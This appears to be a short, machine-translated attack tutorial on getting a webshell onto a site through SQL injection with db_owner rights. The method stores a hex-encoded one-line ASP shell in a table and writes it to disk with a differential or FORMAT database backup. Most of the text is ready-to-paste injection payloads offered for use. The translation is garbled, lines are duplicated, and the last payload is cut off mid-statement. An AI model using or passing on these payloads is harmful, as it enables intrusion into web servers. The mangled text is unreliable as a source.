Db_owner permission is improved by webshell.

Db_owner permission is improved by webshell.

Reduce the backup file size and improve the webshell success rate.
Add a parameter with differential declare @ a sysname, @ s nvarchar (4000) select @ a = db_name (), @ s = 0x77006F006B0061006F002E00620061006B00 backup database @ a to disk = @
Create table [dbo]. [xiaolu] ([cmd] [image]);
Insert into xiaolu (cmd) values (0x3c25657865637574502821357175657374282261222929253e)
Declare @ a sysname, @ s nvarchar (4000) select @ a = db_name (), @ s = backing backup database @ a to disk = @ s WITH DIFFERENTIAL
Ii. Use full FORMAT
Add a parameter WITH FROMAT
Some pages need to be executed several times for the database, and backups are appended each time by default. If an injection point has several operations on the database, the backup file is increased several times, so declare @ a sysname, @ s nvarchar (4000) select @ a = db_name (), @ s = 0x77006F006B0061006F002E00620061006B00 backup database @ a to disk = @ s
Create table [dbo]. [xiaolu] ([cmd] [image]);
Insert into xiaolu (cmd) values (0x3c25657865637574502821357175657374282261222929253e)
Declare @ a sysname, @ s nvarchar (4000) select @ a = db_name (), @ s = backing backup database @ a to disk = @ s WITH FORMAT
In general, this is just a few simple words. The following uses the backup database model as an example.
1
Id = 1; use model create table cmd (str image); insert into cmd (str) values ('